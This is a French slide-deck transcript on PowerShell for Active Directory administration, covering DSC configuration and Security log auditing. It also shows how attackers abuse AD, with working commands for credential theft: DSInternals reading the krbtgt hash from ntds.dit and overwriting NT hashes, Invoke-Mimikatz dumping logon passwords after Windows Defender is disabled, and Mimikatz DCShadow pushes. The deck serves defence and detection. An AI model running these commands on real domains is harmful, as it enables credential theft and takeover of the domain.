Digital Intelligence & data

Slides:



Advertisements
Présentations similaires
ENT ENVOLE – Mes Dossiers Académie de la Réunion.
Advertisements

GCstar Gestionnaire de collections personnelles Christian Jodar (Tian)
Présentation de Scribe Votre nouvelle organisation du Réseau Informatique Pédagogique.
Présentation LabPlus v3. Solution novatrice en Technologies de l’information Solution novatrice en Technologies de l’information Application pour la Gestion.
Les profils du SEDA confection de profil avec Agape.
Made with OpenOffice.org 1 Travailler en réseau intranet à l'école Un réseau : pourquoi ? Architecture du réseau Partager un dossier Enregistrer en réseau.
1 Administration ESCO-Portail Les environnements numériques de travail Administration du socle de l'ENT Les applications.
Guide de l'enseignant SolidWorks, leçon 1 Nom de l'établissement Nom de l'enseignant Date.
Séminaire EOLE Beaune Septembre 2007 HORUS.
Février 2006X. Belanger / Guilde Introduction à. Février 2006X. Belanger / Guilde Qu'est ce que Samba ? ● Implémentation libre du protocole CIFS/SMB (client.
Module 14 : Installation et configuration des services Terminal Server.
Réaliser un CD lecteur de salon (photos ou vidéos) pouvant être lu
Cahier des charges.
Procédures Framework LDAP
Les commandes externes
JAVA.
Cahier des clauses techniques particulières
JT12-RSI mars 1999 Délégation aux systèmes d'information
DropBox Projet App’Ifa.
Google analytics.
LES TABLEAUX EN JAVA.
Formation Utiliser l'outil ownCloud
Séminaire Novembre 2006 Zephir : Déploiement et supervision des serveurs Eole.
Séminaire EOLE Dijon octobre 2010
AugerDb / SimDb Gestion des simulations Auger Java
Ce videoclip produit par l’Ecole Polytechnique Fédérale de Lausanne
SECURITE DU SYSTEME D’INFORMATION (SSI)
Javadoc et débogueur Semaine 03 Version A16.
Réalisation d'agents de surveillance Zephir
Présentation J GUIRANDE.
Support – info Sauvegarde des données locales des postes clients
Cyber-Sphinx Séance 2.
R9B.
Semaine #4 INF130 par Frédérick Henri.
Piloter un robot mbot à distance avec retour vidéo
Vie et mort des comptes utilisateurs
Mise en place d’une stratégie de groupe
Documentation technique (Linux)
PROGRAMMATION INFORMATIQUE D’INGÉNIERIE II
GLPI Gestion libre de parc informatique Application à la cellule DSI Pédagogie Avec liaison OCS-NG Gaétan TIRMONT.
SRT3 LDAP.
Environnement de gestion des machines Virtuelles
Package R Markdown: Un outil pour générer des pages html avec R Studio
Guide Utilisateur. Guide Utilisateur.
Bienvenue dans PowerPoint
Programmation Android Bases De Données, SQL-lite
Exploiter le Web Etape 2.
Module 10 : Configuration de l'impression
Integrated Business intelligence
© Copyright 2017 METSYS. Tous droits réservés
Programmation Android Première application Android
Kastagné Cédrick Chambreuil Maskime Giraudeau Damiheing
GADGETBOX Évolution.
© Copyright 2017 METSYS. Tous droits réservés
Tester la sécurité de son annuaire Active Directory avec PowerShell
Bonnes pratiques d’exploitation des applications
Module 13 : Implémentation de la protection contre les sinistres
Communication Assistant V2.0
7 Contraintes d’intégrité en SQL
03- Evaluation Access 2003 Cette évaluation comporte des QCM (1 seule réponse) et des Zones à déterminer dans des copies d’écran.
Windows 7 NTFS.
Module 5 : Gestion de l'accès aux ressources à l'aide de groupes
Terraform dans Azure Meetup 20/11/2018 DevCon #7 13/12/2018.
Active Directory Services
Michel Jouvin Comité des utilisateurs 14 Mai 2007
ENSEIGNER L’ALGORITHMIQUE ET LA PROGRAMMATION AU COLLÈGE
Les différents modes de démarrage de Windows
ManageEngine ADManager Plus 6
QR code Nom enseignant :M. BENYAHIA Cheikh
Séquence 1:Analyse du système d’information comptable
Transcription de la présentation:

PowerShell la solution pour standardiser et sécuriser votre système d’informations

Digital Intelligence & data A propos de Metsys Création fin 2011 Laurent Cayatte Président Yannick Varloud Directeur Général + 50% 5 agences en France 11 M€ Effectifs Nos offres 200 28 59 79 103 Cyber security Digital Intelligence & data Modern Workplace Infrastructure Services 2014 2015 2016 2017 Obj. 2018

Standardiser : le module PSADSync

Standardiser – le module PSADSYNC Pourquoi synchroniser Permet de synchroniser un annuaire Active Directory depuis un fichier CSV. Type d’opérations : création (très basique) et modification Fichier CSV : utiliser la virgule comme séparateur. Mieux vaut partir sur un MIM Synchronization Services 2016 (gratuit) Installation simple : install-module PSADSYNC

Standardiser – PowerShell DSC

PowerShell DSC – présentation générale Comment standardiser la configuration d’une machine ? PowerShell V4 – version recommandée : PowerShell 5.1. Idempotent (une opération a le même effet qu'on l'applique une ou plusieurs fois). Moteur PowerShell DSC est activée par défaut en attente d’un fichier de configuration. Inclus avec 23 ressources : registry, File, Services Nombreuses autres ressources au niveau de la communauté (PowerShell Galery…)- Création d’un fichier déclaratif (configuration) que l’on « compile » sous forme d’un fichier MOF. 3 actions possibles : tester la configuration (Test-DscConfiguration), appliquer la configuration (Start-DscConfiguration) et faire un retour arrière. PowerShell 5,1 : fichier MOF chiffré si exécution sur une machine distante. Toutes les 30 minutes, le moteur PowerShell DSC va réappliquer la configuration. Mode Push : mode manuel (celui qu’on présente ). Mode Pull : nécessite un serveur Collecteur sur lequel on crée un partage SMB. On met ensuite à disposition les fichier MOF.

PowerShell DSC – présentation générale Quelques commandes PowerShell DSC à connaître pour démarrer  :

PowerShell DSC – exemple de fichiers de configuration PowerShell DSC Quand on lance la fonctionAuditPreConf, cela génère le fichier MOF. En mode appliquer : le nom du nœud doit correspondre au nom de la machine !!! Mettre le nom de la machine au lieu de AuditPreConf.

PowerShell DSC – exemple de fichier MOF

PowerShell DSC – tester si la machine est conforme Exécuter la commande : Test-DscConfiguration -ReferenceConfiguration "C:\DSC\AuditPreConf\AuditPreConfAll.mof" -ComputerName "sql2016a.oim.intra" | fl Machine non conforme  IsDesiredState : false Composant non conforme  ResourcesNOtInDesiredState

PowerShell DSC – appliquer une configuration sur une machine Exécuter la commande : Start-DscConfiguration "C:\DSC\AuditPreConf" -wait -force -verbose

Sécuriser – analyser le journal Security

Analyser le journal Security avec PowerShell Les problématiques : Déterminer les éléments à auditer et les interpréter. Ne pas perdre d’informations ----> attention à la rotation des événements Lenteur des commandes Get-WinEvent et Get-EventLog - volume de données très important -> plusieurs millions de ligne. Astuce : archivage des données sous forme de zip La solution : AuditConnexion Metsys Script PowerShell Metsys Utilisation des classes .Net Framework au lieu des commandes PowerShell.

Analyser le journal Security - Les événements à auditer Les ID : 4624 : réussite - ouverture de session (indique le type de protocole) 4625 : échec - ouverture de session 4648 : ouverture de session secondaire, LDAP Bind Simple 4768 : génération d’un ticket TGT (réussite et échec) 4769 : échec génération d’un ticket TGT 4776 : Credential Validation (validation authentification NTLM) – très nombreuses occurences …

Mesurer / optimiser la durée d’un script PowerShell Get-WinEvent est encore plus lent que Get-EventLog        Measure-Command -Expression {Get-EventLog -LogName application} Measure-Command -Expression {Get-WinEvent @{logname='application'}} https://blogs.technet.microsoft.com/heyscriptingguy/2015/10/22/check-performance-of-event-log-queries/ Utiliser les classes .Net Framework au lieu des commandes natives CMDLET = classe .Net Framework Utilisation de la CMDLET Get-Member pour trouver les classes C# d’une CMDLET. Utilisation du MSDN pour comprendre comment fonctionne les classes C#

Comprendre ce qu’est une CMDLET Utilisation de DNSPY pour ouvrir la DLL d’un module PowerShell (exemple avec BitLocker) Utiliser la dernière build de dnSpy : https://github.com/0xd4d/dnSpy Lancer dnSpy.EXE et charger le fichier C:\Windows\System32\WindowsPower Shell\v1.0\Modules\BitLocker\Microsof t.BitLocker.Structures.dll

Comprendre le script AuditConnexion Instancier les 2 classes System.Diagnostics.Eventing.Reader.EventLogQuery et System.Diagnostics.Eventing.Reader.EventLogReader $LogName = "Security" $PathType = [System.Diagnostics.Eventing.Reader.PathType]::LogName $query = "*[System[(EventID=4624 or EventID=4625 or EventID=4768 or EventID=4769 or EventID=4771 or EventID=4776 or EventID=4648)]]" # Step 1 : Generate the request $EventLogQuery = New-Object System.Diagnostics.Eventing.Reader.EventLogQuery $LogName,$PathType,$query # Step 2 : run the request $events = new-object System.Diagnostics.Eventing.Reader.EventLogReader($EventLogQuery) Utiliser la méthode ReadEvent() pour lire 1 par 1 chaque événement. Convertir le résultat en XML. Ecrire le fichier que toutes les 10000 lignes. Vider la mémoire (Clear-Variable).

Sécuriser – le module DSInternals

Le stockage des mots de passe dans Active Directory Les membres des groupes à fort privilèges n’ont pas accès en lecture au mot de passe Mot de passe d’un compte utilisateur Active Directory : Stockés sous forme de Hash / empreintes : LMHASH (14127487) : 882B5831DF88FDB77C3113B4A1A5E3A0 NTHASH (14127487) : B8895ECED52341EDFC6A078BB962CB3B Attributs dBCSPwd / UnicodePwd (mot de passe) et lmPwdHistory / ntPwdHistory (historique) protégés par le système Pour récupérer les Hash avec LIBESEDB et NTDSXTRACT. Rainbow Table : retrouver un mot de passe à partir d’un HASH Rainbow Table 17 Go : retrouver tout mot passe à partir de son LMHASH (14 caractères maximum)

Le module DSInternals : vue d’ensemble Module de la communauté : https://www.powershellgallery.com/packages/DSInternals/2.16.1 https://www.dsinternals.com/en/list-of-cmdlets-in-the-dsinternals-module/ Hacking Active Directory Approche module DSInternals : utilisation « standard » du protocole MS-DRSR (Directory Replication Service (DRS) Remote) : https://msdn.microsoft.com/en- us/library/cc228086.aspx 2 modes de fonctionnement : en ligne et hors ligne. Permet de lire / modifier le LMHASH et le NTHASH d’un compte. Installation simplifiée (PowerShell V5) : Install-Module DSInternals

Le module DSInternals : lire le hash du mot de passe de krbtgt Solution 1 : mode en ligne (domaine : oimmil.intra, contrôleur de domaine : MILDC1.oimmil.intra) Taper la commande suivante : Get-ADReplAccount -SamAccountName krbtgt -Domain oimmil -Server MILDC1.oimmil.intra

Le module DSInternals : lire le hash du mot de passe de krbtgt (solution 2) Solution 2 : mode hors ligne Générer un IFM (Install From Media) : Mkdir c:\_adm\IFM Ntdsutil Activate instance ntds ifm create full C:\_adm\IFM Afficher le mot de passe krbtgt au format nthash / lmhash avec la copie hors ligne du fichier NTDS.DIT $BootKey = Get-BootKey -SystemHiveFilePath C:\_adm\IFM\registry\SYSTEM $User = (Get-ADDBAccount -SamAccountName krbtgt -DBPath 'C:\_adm\ifm\Active Directory\ntds.dit' -Boot $BootKey) $NTHash = [System.BitConverter]::ToString($User.NTHash).replace("-","").ToLower() $NTHash

Le module DSInternals : modifier le NTHASH Modifier la valeur de l’attribut UnicodePwd : # Convertir un mot de passe au format NTHASH et éditer directement un compte utilisateur : Password = ConvertTo-SecureString -String "P@ssword2“ -Force –AsPlainText $NTHASH = ConvertTo-NTHash $Password Echo $NTHASH Set-SamAccountPasswordHash -SamAccountName service-powershell -NTHash $NTHASH -Domain oimmil

Sécuriser – le module PowerSploit

Le module PowerSploit : vue d’ensemble Module de la communauté : https://github.com/PowerShellMafia/PowerSploit https://adsecurity.org/?page_id=1821 https://resources.infosecinstitute.com/powershell-toolkit-powersploit/#gref https://sector.ca/wp-content/uploads/presentations17/Kevin-McBride-Sector-2017-Common-Attacks-Against- Active-Directory.pdf Principales fonctionnalités : injection de code, injection de DLL, détection d’antivirus, scan de ports, Keylogger, copie de fichiers verrouillé, intégration Mimikatz Installation simplifiée : Install-Module PowerSploit ---> faire une installation manuelle Mimikatz : Analyse de la mémoire du processus LSASS.EXE (client et services Active Directory), 2 modes de fonctionnement : en ligne et hors ligne. Permet d’accéder en lecture uniquement au LMHASH et le NTHASH d’un compte utilisateur avec la commande : Invoke-Mimikatz -command "privilege::debug sekurlsa::logonpasswords"

Installation du module PowerSploit : les astuces Télécharger les sources depuis le site web: https://github.com/PowerShellMafia/PowerSploit Problème sous Windows 10 / Windows 2016 https://github.com/PowerShellMafia/PowerSploit/issues/255 Procédure pour Windows 2012 R2 : Désactiver Windows Defender (gpedit.msc) Copier les sources dans le dossieren renommant le dossier PowerSpoit. C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ Débloquer les fichiers : Get-ChildItem –Path C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit -Recurse | Unblock-File

Sécuriser – détecter une attaque DCShadow avec PowerShell

Détecter l’attaque DCSHADOW avec PowerShell Prérequis : privilège Domain Admins. Principe : l’attaquant veut faire des changements qui ne seront pas répliqués sur tous les contrôleurs de domaine. DCShadow va faire passer la machine sur lequel il est exécuté pour un DC en faisant des changements au niveau de la partition de configuration et en modifiant les ServicePrincipalName au niveau du compte ordinateur de cette machine. Conséquence : comme le changement est logué sur le contrôleur de domaine source en situation « standard », le changement sur le faux DC n’est pas logué. Procédure : utilisation de 2 commandes dans une première fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push

Détecter l’attaque DCSHADOW avec PowerShell Procédure pour l’attaque DCSHADOW : Utilisation de 2 commandes dans une 1ère fenêtre Mimikatz : privilege::debug lsadump::dcshadow /object:CN=service powershell,OU=IT,DC=oimmil,DC=intra /attribute:description /value:"DCShadow was here!" lsadump::dcshadow /push Utilisation de 2 commandes dans une 2ème fenêtre Mimikatz : privilege::debug lsadump::dcshadow /push https://blog.alsid.eu/dcshadow-explained-4510f52fc19d https://www.synetis.com/2018/04/05/dcshadow-attaque-ad/ https://attack.stealthbits.com/how-dcshadow-persistence-attack-works Détecter une attaque DCSHADOW avec un script PowerShell : https://github.com/AlsidOfficial/UncoverDCShadow